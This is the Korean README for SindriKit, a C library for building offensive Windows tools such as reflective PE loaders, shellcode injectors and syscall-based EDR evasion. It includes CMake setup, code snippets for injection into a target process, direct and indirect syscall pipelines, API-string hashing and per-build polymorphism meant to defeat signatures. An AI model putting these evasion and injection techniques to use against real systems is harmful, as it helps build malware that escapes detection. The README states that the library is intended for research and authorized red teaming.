
작전적으로 신뢰할 수 있는 공격 능력을 구축하기 위한 기초 C 라이브러리
공격 개발에는 더 나은 아키텍처가 필요합니다.
공격 기능 구축을 위한 C 라이브러리.
대부분의 공격 유틸리티는 실행 메커니즘을 기법 로직 내부에 하드코딩합니다. 리플렉티브 로더는 단순히 이미지를 매핑하는 것이 아니라 VirtualAlloc 또는 네이티브 NTAPI 호출의 특정 하드코딩된 체인을 사용해 매핑합니다. EDR이 해당 특정 체인을 모니터링하기 시작하면 도구 전체를 다시 작성해야 합니다.
SindriKit은 인터페이스 추상화 테이블을 통해 관심사 분리를 강제하여 이 문제를 해결합니다:
실행 메커니즘을 런타임 함수 포인터로 전환하면 페이로드 실행 로직을 변경하지 않고도 단 한 줄의 코드로 전체 전략을 Win32 호출에서 원시 직접 시스템 콜로 교체할 수 있습니다.
snd_syscall_resolve_ssn_scan, snd_syscall_resolve_ssn_sort) — 도메인 코드를 건드리지 않고 전략을 교체하거나 확장합니다.SND_MORPH를 통해 심층 다형성을 지원합니다. C 코드에 휘발성 난해한 술어를, 어셈블리 스텁에 기능적으로 동등한 수학 연산/NOP를 주입하고 핵심 구조체의 메모리 레이아웃을 뒤섞어 모든 빌드에서 고유한 바이너리 시그니처를 생성합니다.cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
단 두 줄만으로 도구가 SindriKit의 모든 기능(PE 파싱, 시스템 콜 해석, 리플렉티브 로딩...)을 상속받을 수 있습니다.
┌────────────────────────────────────────────────────────────────────────────┐
│ ANY OFFENSIVE INTENT │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API ABSTRACTION LAYER │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ [ future tables ] -> thread · object · ... │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
│ LoadLibraryA │ PEB Walk + EAT │ Operator-defined functions │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
실제로 이는 모든 도메인이 동일한 계약을 따르는 것을 의미합니다:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
SindriKit은 시스템 콜 해석을 주입 가능한 메커니즘으로 취급하여 전략을 우선순위 순서로 쌓습니다. 엔진은 하나가 성공할 때까지 단계적으로 폴백합니다:
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
인보커는 SSN 해석과 분리되어 있습니다 — 도메인 코드를 수정하지 않고 직접 및 간접 시스템 콜 간에 전환할 수 있습니다. 간접 호출은 합법적인 NTDLL 가젯으로 점프하여 시스템 콜 반환 주소를 ntdll.dll 내에 유지합니다.
모든 API 이름과 모듈 문자열은 단일 CMake 변수를 통해 컴파일 타임에 최종 바이너리에서 제거됩니다:
set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure
각 해시는 무작위로 생성된 시드로 계산됩니다(SND_RANDOMIZE_SEED=ON인 경우). C 코드 한 줄도 건드리지 않고 컴파일 간에 정적 풋프린트가 완전히 달라집니다.
임의의 런타임 함수 호출을 위한 커스텀 MASM 어셈블리 브리지. x64 빌드는 Microsoft x64 호출 규약을 정확히 따릅니다(섀도 스페이스, 레지스터 인자 배치, 스택 정렬). x86 빌드는 cdecl 및 stdcall 대상을 모두 지원하며 인자를 역순으로 푸시합니다.
is_mapped 플래그가 있는 통합 PE32/PE32+ 파서로, 디스크의 원시 이미지와 메모리 매핑된 뷰를 모두 올바르게 처리합니다. 모든 데이터 디렉터리 접근은 역참조 전에 추적된 버퍼 경계에 대해 검증됩니다. 내보내기 해석은 해시 기반 조회로 깊이 4까지의 포워더 체인을 지원합니다.
테스트 대상:
pe_mutator 모듈이 생성한 100개 이상의 동적 PE 변형: 0으로 채워진 섹션 이름, 정수 오버플로, 잘못된 e_lfanew 경계, 손상된 임포트.모든 공격 작업은 단계 열거가 포함된 개별 컨텍스트 구조체를 통해 관리됩니다. 작업은 슬립 난독화 또는 단계별 배포를 위해 단계 사이에서 일시 중지되고, 깔끔하게 재개되며, 서브시스템과 사유까지 정확한 실패 지점을 검사할 수 있습니다.
시스템 콜 파이프라인을 한 번 부트스트랩합니다(일반적인 패턴):
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
인보커는 SSN 해석과 분리되어 있습니다 — 도메인 코드를 수정하지 않고 직접 및 간접 시스템 콜 간에 전환할 수 있습니다. 간접 호출은 합법적인 NTDLL 가젯으로 점프하여 시스템 콜 반환 주소를 ntdll.dll 내에 유지합니다.
한 번의 할당으로 실행 프로파일을 교체합니다:
ctx.mem_api = &snd_mem_win; // diagnostic
ctx.mem_api = &snd_mem_nt; // NT stubs via PEB + EAT
ctx.mem_api = &snd_mem_sys; // direct syscalls (pipeline required)
모듈 해석은 동일한 패턴을 따릅니다(snd_mod_win vs snd_mod_nt). 시스템 콜 기반 모듈 백엔드는 없습니다 — 전체 _sys 프로파일에서도 임포트는 PEB 워크 + EAT를 사용합니다.
SND_ENABLE_DEBUG=ON로컬 개발용입니다. snd_status_t는 file, line, 128바이트 context 문자열 버퍼를 포함하도록 확장됩니다. SND_ERR_CTX 및 SND_DEBUG_PRINT는 상태 머신 전이, 파싱된 PE 필드 값, 시스템 콜 해석 결과를 출력합니다. SND_USE_PRINTF=ON을 사용하면 디버그 콘솔 대신 stdout으로 출력을 보낼 수 있습니다.
SND_ENABLE_DEBUG=OFF운영 바이너리를 위한 표준 배포 구성입니다. 모든 진단 문자열, 파일 참조, 줄 번호가 완전히 컴파일에서 제거됩니다. snd_status_t는 두 개의 정수로 축소됩니다. 그 외에는 아무것도 없습니다.
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_USE_DEFAULTS ON CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine)
전체 레퍼런스는 docs/에 있습니다:
loader_winapi, loader_nowinapi, inject_pe, inject_shell, heavens_gate계획: 에베이전 도메인.
SindriKit은 교육, 연구, 그리고 승인된 레드 팀링 목적으로만 제작되었습니다. 전체 법적 고지 및 OpSec 고려 사항에 대한 정보는 보안 정책을 참조하십시오.